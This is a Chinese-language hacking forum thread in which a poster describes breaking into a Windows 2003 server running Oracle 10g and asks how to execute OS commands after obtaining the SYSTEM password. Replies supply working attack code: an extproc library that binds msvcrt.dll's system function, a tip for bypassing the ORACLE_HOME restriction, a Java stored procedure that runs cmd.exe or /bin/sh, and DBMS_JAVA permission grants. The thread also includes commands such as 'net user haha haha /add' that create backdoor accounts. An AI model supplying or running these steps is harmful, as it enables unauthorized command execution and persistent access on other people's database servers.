[讨论]Oracle入侵中遇到的问题
议题作者:mon近日入侵一数据库,系统环境为 win2k3+Oracle 10g(R2).获得了system的密码.用sqlplus连接.创建Oracle Execute Command Sql Script 以执行系统命令.
Oracle Execute Command Sql Script 如下:
[color=Red]CREATE OR REPLACE LIBRARY exec_shell AS 'D:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors [/color]
可是执行命令时却出现这样的错误:
[color=Red]SQL> exec oracmd.exec ('net user haha haha /add');
BEGIN oracmd.exec ('net user haha haha /add'); END;
*
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1[/color]
不知出什么问题了.请高手解答.
[[i] 本帖最后由 mon 于 2008-3-2 01:20 编辑 [/i]] 如果我没有理解错,你应该想说2k3而不是3k2,然后问题好想在c:\winnt\system32上,应该是c:\windows\system32吧
我懂的不多,说错了莫笑哈 哎呀 ! 过于马虎.写错了一点.系统的确是win2k3 sp2才对.并且系统装在D盘.用Oracle Execute Command Sql Script 没注意到winnt.不过改了还是老样子.是不是10g现在不支持这个Oracle Execute Command Sql Script 了? 貌似是ORACLE把外部库的位置限制在了ORACLE_HOME中
原则上可以用UTL_FILE复制DLL到限制目录中 可俺没成功过
我都是用JAVA执行OS命令 貌似可以用../../../绕过ORACLE_HOME限制 人说已经修复不可以绕过了
我的
顶上去怎么还是没有解决
怎么还是没有解决我也是这样的问题 [quote]原帖由 [i]mickey[/i] 于 2008-3-2 15:06 发表 [url=https://forum.eviloctal.com/redirect.php?goto=findpost&pid=139309&ptid=32313][img]images/common/back.gif[/img][/url]貌似可以用../../../绕过ORACLE_HOME限制 [/quote]
mickey都回帖了。我不回帖我就太傻逼了。
凑凑热闹
用java搞
[b]第一步[/b][code]CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "Host" AS
import java.io.*;
public class Host {
public static void executeCommand(String command) {
try {
String[] finalCommand;
if (isWindows()) {
finalCommand = new String[4];
// Use the appropriate path for your windows version.
finalCommand[0] = "C:\\windows\\system32\\cmd.exe"; // Windows XP/2003
//finalCommand[0] = "C:\\winnt\\system32\\cmd.exe"; // Windows NT/2000
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
}
else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
final Process pr = Runtime.getRuntime().exec(finalCommand);
pr.waitFor();
new Thread(new Runnable(){
public void run() {
BufferedReader br_in = null;
try {
br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));
String buff = null;
while ((buff = br_in.readLine()) != null) {
System.out.println("Process out :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_in.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process output.");
ioe.printStackTrace();
}
finally {
try {
br_in.close();
} catch (Exception ex) {}
}
}
}).start();
new Thread(new Runnable(){
public void run() {
BufferedReader br_err = null;
try {
br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));
String buff = null;
while ((buff = br_err.readLine()) != null) {
System.out.println("Process err :" + buff);
try {Thread.sleep(100); } catch(Exception e) {}
}
br_err.close();
}
catch (IOException ioe) {
System.out.println("Exception caught printing process error.");
ioe.printStackTrace();
}
finally {
try {
br_err.close();
} catch (Exception ex) {}
}
}
}).start();
}
catch (Exception ex) {
System.out.println(ex.getLocalizedMessage());
}
}
public static boolean isWindows() {
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
return true;
else
return false;
}
};
[/code][b]第二步[/b][code]CREATE OR REPLACE PROCEDURE host_command (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'Host.executeCommand (java.lang.String)';[/code][b]第三步[/b] 给权限,如果是system用户就是下面,不是你自己改。[code]EXEC DBMS_JAVA.grant_permission('SYSTEM', 'java.io.FilePermission', '<>', 'read ,write, execute, delete');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
EXEC Dbms_Java.Grant_Permission('SYSTEM', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');[/code][b]第四步[/b] 取结果[code]DECLARE
l_output DBMS_OUTPUT.chararr;
l_lines INTEGER := 1000;
BEGIN
DBMS_OUTPUT.enable(1000000);
DBMS_JAVA.set_output(1000000);
host_command('dir C:\');
DBMS_OUTPUT.get_lines(l_output, l_lines);
END;[/code]
[[i] 本帖最后由 28度的冰 于 2008-8-24 19:43 编辑 [/i]]
楼上给的代码不错
刚才测试了一下最后一取结果的代码出错了。如图:
[attach]12189[/attach]
这是为什么?如何解决?
最后问下如果用DLL的方法怎么搞?
[[i] 本帖最后由 小拳头 于 2008-8-24 10:00 编辑 [/i]] 同问,请帮忙解决下
SQL> DECLARE
2 l_output DBMS_OUTPUT.chararr;
3 BEGIN
4 DBMS_OUTPUT.enable(1000000);
5 DBMS_JAVA.set_output(1000000);
6 host_command('net user qq qq /add');
7 DBMS_OUTPUT.get_lines(l_output, l_lines);
8 END;
9 /
DBMS_OUTPUT.get_lines(l_output, l_lines);
*
ERROR 位于第 7 行:
ORA-06550: 第 7 行, 第 33 列:
PLS-00201: 必须说明标识符 'L_LINES'
ORA-06550: 第 7 行, 第 1 列:
PL/SQL: Statement ignored 不好意思,少了一行。编辑了。
上面的是JAVA方法提权DLL的为什么老是出错
上面的是JAVA方法提权DLL的为什么老是出错DLL方法提的话到底应该怎么做?感谢28度的火同学再次感谢,激动之情难以言表,3Q。
[[i] 本帖最后由 小拳头 于 2008-8-25 09:05 编辑 [/i]]
谁能发一个DLL提权的完整代码上来
谁能发一个DLL提权的完整代码上来,网上的不是这里错就是那里错。我插! 如poison所说,ORACLE把外部库的位置限制在了ORACLE_HOME中 。所以要复制dll到限制目录中,即ORACLE_HOME的目录。代码改成以下样子:CREATE OR REPLACE LIBRARY exec_shell AS '$ORACLE_HOME\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
SQL> exec oracmd.exec ('net user haha haha /add');
这样执行就成功了。
呵呵再贴图说明一下为什么会出现如下图的问题
那是因为第2行没有加杠,主要是为了方便不懂ORC的朋友感谢楼上的朋友! reader..... LZ 你可以直接用 SQLPLUS 连接system账号 恭喜搂主中特等将,顺便说一下,他的Orcal是服务方式启动的话,把system权限改到底权限就错作不了了 问题错综复杂! 具体可以PM我详细情况页:
[1]